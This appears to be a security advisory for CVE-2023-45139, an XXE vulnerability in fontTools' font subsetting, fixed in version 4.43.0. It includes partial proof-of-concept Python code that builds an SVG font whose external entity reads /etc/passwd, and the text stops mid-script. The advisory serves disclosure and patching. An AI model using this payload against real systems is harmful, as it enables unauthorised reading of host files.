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CVE-2023-45139 — fonttools XML External Entity Injection (XXE) Vulnerability

Affected: fonttools

fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.

GHSA-6673-4983-2vx5 — fonttools XML External Entity Injection (XXE) Vulnerability

Affected: PyPI: fonttools

### Summary

As of `fonttools>=4.28.2` the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed.

This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system.

### PoC

The vulnerability can be reproduced following the bellow steps on a unix based system.

1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised `/etc/passwd` for our POC file to include and modified an existing subset integration test to build the POC font - see bellow.

```python

from string import ascii_letters from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen from fontTools.ttLib import newTable

XXE_SVG = """\ <?xml version="1.0"?> <!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g id="glyph1"> <text font-size="10" x="0" y="10">&test;</text> </g> </svg> """

def main(): # generate a random TTF font with an SVG table glyph_order = [".notdef"] + list(ascii_letters) pen = TTGlyphPen(glyphSet=None) pen.moveTo((0, 0)) pen.lineTo((0, 500)) pen.lineTo((500, 500)) pen.lineTo((500, 0)) pen.closePath() glyph = pen.glyph() glyphs =…